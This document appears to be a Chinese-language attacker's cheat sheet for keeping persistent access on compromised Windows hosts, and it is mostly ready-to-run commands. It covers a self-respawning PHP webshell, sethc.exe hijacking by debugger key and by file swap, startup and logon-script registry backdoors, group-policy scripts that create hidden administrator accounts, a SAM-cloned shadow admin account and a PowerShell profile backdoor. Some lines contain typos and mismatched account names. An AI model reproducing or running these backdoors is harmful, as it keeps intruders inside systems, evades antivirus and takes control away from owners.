windows维权
php不死马
<?php
ignore_user_abort();//关掉浏览器php脚本也执行
set_time_limit(0);//无限制执行
$interval = 5;//每隔5秒运行
do{
$filename = 'test.php';
if(file_exists(filename)){
echo "xxx";
}
else {
$file = fopen("test.php", "w");
$txt = "<?php phpinfo();?>\n";
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
} while(true);
?>
映像劫持
#win+R
regdeit
#注册表进入此目录
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
#新建项sethc.exe
#新建字符串值Debugger填入
C:\Windows\System32\cmd.exe
#桌面新建backdoor.exe打开即为cmd
#cmd
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
策略组脚本
#win+R
gpedit.msc
#打开计算机配置,windows设置,脚本(启动/关机)
#启动中添加.bat文件
@echo off
net user hack$ 123456 /add && net localgroup administrators hack$ /add
#每次重启会运行
shift后门
如果按五次shift会弹出粘滞键
#cmd
#进入粘滞键sethc目录
cd c:\windows\system32\sethc.exe
#原版sethc做备份
move sethc.exe sethc.exe.bak
#cmd伪造为sethc
copy cmd.exe sethc.exe
LogonScript
用户登录时触发登录脚本,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截
#进入\HKEY_CURRENT_USER\Environment新建字符串值UserInitMprLogonScript修改数据为后门
#cmd
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\shell.exe"(自己创建的后门exe)
影子账户
user 加上后缀 加上后缀 加上后缀cmd命令无法查到
#cmd
net user hack$ QWEasd123 /add
net localgroup administrators test$ /add
#创建cmd隐藏账号
#win+R
regedit
进入HKEY_LOCAL_MACHINE\SAM\SAM设置权限administrator完全控制
进入HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
将隐藏账号hack$导出
进入HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
将01F4和hack$默认值导出
01F4中的F值替换hack$默认值
双击导入创建成功
启动后门
#注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
新建字符串值test1
填写数据c:\shell.exe
#cmd
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test1 /t REG_SZ /d "C:\shell.exe"
powershell配置文件后门
#查看是否存在配置文件
echo $profile
#返回false
test-path $profile
#强制创建
New-Item –Path $Profile –Type File –Force
#创建bat文件
net user longwa 123456 /add & net localgroup administrators longwa /add
#创建变量spring
$string = 'Start-Process "C:\1.bat"'
#把变量$string内容写入到配置文件
$string | Out-File -FilePath $profile -Append
#powershell再次被打开就会执行